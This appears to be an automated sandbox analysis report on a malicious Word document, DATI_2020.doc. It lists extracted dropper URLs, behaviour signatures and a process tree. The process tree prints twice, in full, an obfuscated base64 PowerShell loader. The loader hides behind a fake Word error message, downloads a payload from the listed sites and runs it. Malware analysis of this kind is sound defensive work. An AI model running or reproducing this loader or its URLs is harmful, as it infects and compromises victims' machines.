Overview

overview

10

Static

static

8

DATI_2020.doc

windows7_x64

10

DATI_2020.doc

windows10_x64

10

Analysis

  • max time kernel
    77s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    21/12/2020, 12:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DATI_2020.doc
  • Size 191KB
  • Sample201221-27fmatntz6
  • SHA256 40262cc016ac77ac410894f3dfd8a1c4a3fcbb3725a583d6defd2ea4d556df5a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://parakkunnathtemple.com/bckup/7SDAvi/
  • exe.dropper

    http://helionspharmaceutical.com/wp-admin/oXJB/
  • exe.dropper

    https://accordiblehr.com/wp-admin/HdzyEn/
  • exe.dropper

    https://snjwellers.com/wp-includes/esttW/
  • exe.dropper

    https://norailya.com/vendor/1j/
  • exe.dropper

    https://whytech.info/wp-includes/HceUxFK/
  • exe.dropper

    http://resuco.net/wp-content/uploads/2020/12/S0K/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DATI_2020.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:836
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
